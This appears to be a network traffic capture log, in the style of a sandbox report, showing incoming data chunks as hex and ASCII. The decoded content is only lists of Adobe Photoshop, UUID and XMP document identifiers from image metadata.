2022-07-20 11:24:37 UTC	3516	IN	Data Raw: 33 64 66 33 65 32 32 65 2d 62 35 36 65 2d 31 31 64 64 2d 61 64 35 32 2d 62 64 32 36 61 63 39 30 66 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 66 38 35 38 32 32 2d 62 66 35 66 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 30 62 31 33 35 32 2d 62 34 37 62 2d 31 31 65 34 2d 39 30 61 39 2d 61 30 61 61 66 35 66 35 31 61 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 34 31 39 37 62 39 2d 61 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 Data Ascii: 3df3e22e-b56e-11dd-ad52-bd26ac90f3f6</rdf:li> <rdf:li>adobe:docid:photoshop:3df85822-bf5f-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:3e0b1352-b47b-11e4-90a9-a0aaf5f51ab1</rdf:li> <rdf:li>adobe:docid:photoshop:3e4197b9-a04d-11e7-a559-bda
2022-07-20 11:24:37 UTC	3571	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 62 66 36 38 2d 30 66 36 37 2d 31 31 64 65 2d 38 63 38 39 2d 61 62 64 38 36 38 31 35 32 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>adobe:docid:photoshop:5342bf68-0f67-11de-8c89-abd868152904</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 11:24:37 UTC	3683	IN	Data Raw: 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 65 37 2d 61 36 36 38 2d 62 33 38 63 35 31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 30 62 65 38 36 32 2d 36 66 62 34 2d 31 31 64 64 2d 39 63 31 37 2d 63 37 64 38 39 39 37 66 34 30 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 33 38 62 39 63 34 2d 62 34 64 65 2d 31 31 37 61 2d 39 66 32 37 2d 65 64 35 32 35 37 30 62 36 31 31 65 3c 2f 72 64 66 3a 6c Data Ascii: 77-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-67ab-11e7-a668-b38c51b6975b</rdf:li> <rdf:li>adobe:docid:photoshop:830be862-6fb4-11dd-9c17-c7d8997f408c</rdf:li> <rdf:li>adobe:docid:photoshop:8338b9c4-b4de-117a-9f27-ed52570b611e</rdf:l
2022-07-20 11:24:37 UTC	3715	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 62 64 64 31 37 61 2d 61 64 31 62 2d 31 31 65 36 2d 62 62 64 30 2d 64 32 65 33 32 66 36 61 61 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 65 38 63 63 38 34 2d 64 39 33 65 2d 31 31 65 37 2d 61 62 32 64 2d 65 66 39 31 34 32 64 64 65 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 31 62 30 37 66 38 2d 34 61 66 33 2d 31 31 65 37 2d 61 35 61 39 2d 65 37 64 35 62 33 34 37 34 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 32 38 36 65 34 39 2d 62 65 Data Ascii: docid:photoshop:b8bdd17a-ad1b-11e6-bbd0-d2e32f6aaf17</rdf:li> <rdf:li>adobe:docid:photoshop:b8e8cc84-d93e-11e7-ab2d-ef9142dde686</rdf:li> <rdf:li>adobe:docid:photoshop:b91b07f8-4af3-11e7-a5a9-e7d5b3474394</rdf:li> <rdf:li>adobe:docid:photoshop:b9286e49-be
2022-07-20 11:24:37 UTC	3851	IN	Data Raw: 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 62 32 34 63 2d 62 65 32 36 64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 34 2d 65 30 63 34 65 32 65 62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 99223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>ad
2022-07-20 11:24:37 UTC	3929	IN	Data Raw: 3e 75 75 69 64 3a 30 37 31 36 42 34 31 39 32 33 34 38 44 43 31 31 38 32 46 35 39 44 34 33 36 43 39 45 38 45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 31 45 43 39 34 36 46 38 31 41 31 31 44 43 38 37 33 31 44 34 39 35 46 37 46 44 45 43 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 36 45 33 34 34 31 31 32 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 38 35 44 39 36 46 37 38 34 39 44 46 31 31 38 30 43 32 43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 39 35 34 44 45 36 36 36 41 45 45 30 31 31 41 38 39 33 39 39 35 35 42 44 45 31 39 Data Ascii: >uuid:0716B4192348DC1182F59D436C9E8ECE</rdf:li> <rdf:li>uuid:071EC946F81A11DC8731D495F7FDEC7E</rdf:li> <rdf:li>uuid:076E344112A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:0785D96F7849DF1180C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:07954DE666AEE011A8939955BDE19
2022-07-20 11:24:38 UTC	5413	IN	Data Raw: 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 42 41 42 44 35 38 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 33 41 43 41 44 43 35 42 42 35 44 44 31 31 42 34 44 37 46 35 43 33 45 32 32 33 43 37 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 34 42 38 31 42 45 31 37 35 45 44 44 31 31 42 42 37 34 46 45 35 42 35 30 31 46 42 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 35 42 39 30 38 46 43 45 44 41 44 46 31 31 42 45 43 36 41 33 42 46 38 44 36 39 34 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 38 36 31 36 30 39 43 43 Data Ascii: 3</rdf:li> <rdf:li>uuid:3EBABD582231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3F3ACADC5BB5DD11B4D7F5C3E223C7EA</rdf:li> <rdf:li>uuid:3F4B81BE175EDD11BB74FE5B501FBEC4</rdf:li> <rdf:li>uuid:3F5B908FCEDADF11BEC6A3BF8D694452</rdf:li> <rdf:li>uuid:3F7861609CC
2022-07-20 11:24:38 UTC	5420	IN	Data Raw: 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 36 34 31 32 44 45 41 45 30 31 31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 36 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 31 31 44 44 41 37 45 32 39 43 30 46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 Data Ascii: uid:57953151310CDF118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E29C0F36270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A234488
2022-07-20 11:24:38 UTC	5444	IN	Data Raw: 34 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 38 44 36 38 46 34 36 43 30 46 31 31 44 43 39 36 36 39 41 30 41 34 43 39 39 33 46 30 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 43 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 34 30 46 30 46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 Data Ascii: 4392</rdf:li> <rdf:li>uuid:8A8D68F46C0F11DC9669A0A4C993F0F6</rdf:li> <rdf:li>uuid:8ACF602CE490DD11AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:8B140F0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D
2022-07-20 11:24:38 UTC	5460	IN	Data Raw: 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 39 38 34 37 33 35 33 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 31 44 42 41 31 31 39 41 43 36 Data Ascii: rdf:li>uuid:BD9847353546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:BDA3B1E18BA2DE11BED7C57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB4523E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1ED11DBA119AC6
2022-07-20 11:24:38 UTC	5484	IN	Data Raw: 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 41 31 39 30 31 30 42 36 42 37 44 45 31 31 38 46 39 32 43 37 39 33 33 36 38 43 42 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2BECE2974D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> <rdf:li>uuid:DEA19010B6B7DE118F92C793368CB351</rdf:li> <rdf:li>uuid
2022-07-20 11:24:38 UTC	5500	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 38 39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 43 30 45 44 32 32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 35 39 33 46 44 31 30 36 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 36 43 30 45 43 39 44 36 46 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 4</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9DE3090B</rdf:li> <rdf:li>xmp.did:018011740720681192B08956C0ED2270</rdf:li> <rdf:li>xmp.did:018011740720681192B09593FD106902</rdf:li> <rdf:li>xmp.did:018011740720681192B096C0EC9D6FC5</rdf:li> <rdf:li>xmp.
2022-07-20 11:24:38 UTC	5516	IN	Data Raw: 37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 39 34 44 43 32 38 32 32 46 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 45 46 31 41 36 45 33 36 41 42 44 46 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: 7624D21CA</rdf:li> <rdf:li>xmp.did:04801174072068118DBBE94DC2822FDB</rdf:li> <rdf:li>xmp.did:04801174072068118EF1A6E36ABDF900</rdf:li> <rdf:li>xmp.did:04801174072068118F629F1B691538C0</rdf:li> <rdf:li>xmp.did:04801174072068118F62EE64CEC33CEF</rdf:li> <rdf
2022-07-20 11:24:38 UTC	5524	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 34 30 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 Data Ascii: i> <rdf:li>xmp.did:068011740720681197A58379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB76F6C402DAA</rdf:li> <rdf:li>xmp.did:06801174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:0680117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0680
2022-07-20 11:24:38 UTC	5547	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 35 35 66 62 39 34 2d 37 34 64 38 2d 31 63 34 63 2d 61 38 36 39 2d 61 65 39 31 34 36 64 32 35 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 31 64 36 61 2d 62 34 61 31 2d 34 39 36 36 2d 39 62 37 31 2d 30 66 37 31 33 66 63 38 36 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 35 35 65 34 2d 66 33 31 37 2d 36 34 34 63 2d 61 39 35 33 2d 36 64 64 65 64 65 64 62 35 38 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 65 61 37 35 38 34 2d 65 61 65 61 2d 66 31 34 63 2d 39 30 39 31 2d 61 30 38 39 62 39 30 31 33 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: > <rdf:li>xmp.did:0e55fb94-74d8-1c4c-a869-ae9146d251f5</rdf:li> <rdf:li>xmp.did:0e831d6a-b4a1-4966-9b71-0f713fc86995</rdf:li> <rdf:li>xmp.did:0e8355e4-f317-644c-a953-6ddededb58f6</rdf:li> <rdf:li>xmp.did:0eea7584-eaea-f14c-9091-a089b901311e</rdf:li> <rdf:
2022-07-20 11:24:38 UTC	5575	IN	Data Raw: 61 2d 34 33 30 35 2d 38 37 30 65 2d 36 38 34 65 34 39 65 37 64 34 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 39 38 30 33 33 2d 36 38 36 39 2d 34 31 63 65 2d 39 30 31 37 2d 39 62 66 63 37 36 39 62 64 37 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 41 43 44 38 43 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 38 45 35 34 38 33 42 36 39 31 45 34 31 31 41 41 34 32 45 43 44 44 33 35 42 44 43 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 39 66 66 35 30 31 2d 39 33 39 30 2d 38 65 34 63 2d 39 35 61 39 2d 37 64 30 Data Ascii: a-4305-870e-684e49e7d45a</rdf:li> <rdf:li>xmp.did:20798033-6869-41ce-9017-9bfc769bd75d</rdf:li> <rdf:li>xmp.did:207ACD8C07206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:208E5483B691E411AA42ECDD35BDCD6B</rdf:li> <rdf:li>xmp.did:209ff501-9390-8e4c-95a9-7d0
2022-07-20 11:24:38 UTC	5583	IN	Data Raw: 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 44 45 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 46 32 44 42 36 30 32 39 32 30 36 38 31 31 41 36 31 33 46 36 33 37 39 42 39 42 32 30 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:li>xmp.did:27F2DB6029206811A613F6379B9B20C2</rdf:li> <rdf:
2022-07-20 11:24:38 UTC	5599	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 46 39 42 38 46 35 33 37 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 64 66 30 39 62 62 2d 34 64 37 37 2d 34 32 37 30 2d 39 37 35 64 2d 63 39 38 39 37 32 64 36 66 31 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 30 32 34 38 35 39 31 45 32 30 36 38 31 31 38 46 36 32 42 30 37 31 36 39 32 31 45 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 31 34 32 38 36 35 39 35 32 30 36 38 31 31 39 31 30 39 45 35 35 34 31 35 34 44 33 32 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: li> <rdf:li>xmp.did:35F9B8F537266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:35df09bb-4d77-4270-975d-c98972d6f180</rdf:li> <rdf:li>xmp.did:360248591E2068118F62B0716921EAB0</rdf:li> <rdf:li>xmp.did:36142865952068119109E554154D32B1</rdf:li> <rdf:li>xmp.did
2022-07-20 11:24:38 UTC	5615	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 32 35 30 31 31 34 30 43 38 45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 36 38 38 36 44 30 41 32 30 36 38 31 31 38 32 32 41 42 35 41 45 42 42 44 34 35 33 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: df:li> <rdf:li>xmp.did:44E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:44E6886D0A206811822AB5AEBBD45312</rdf:li> <rdf:li>xmp.did:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f683-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.
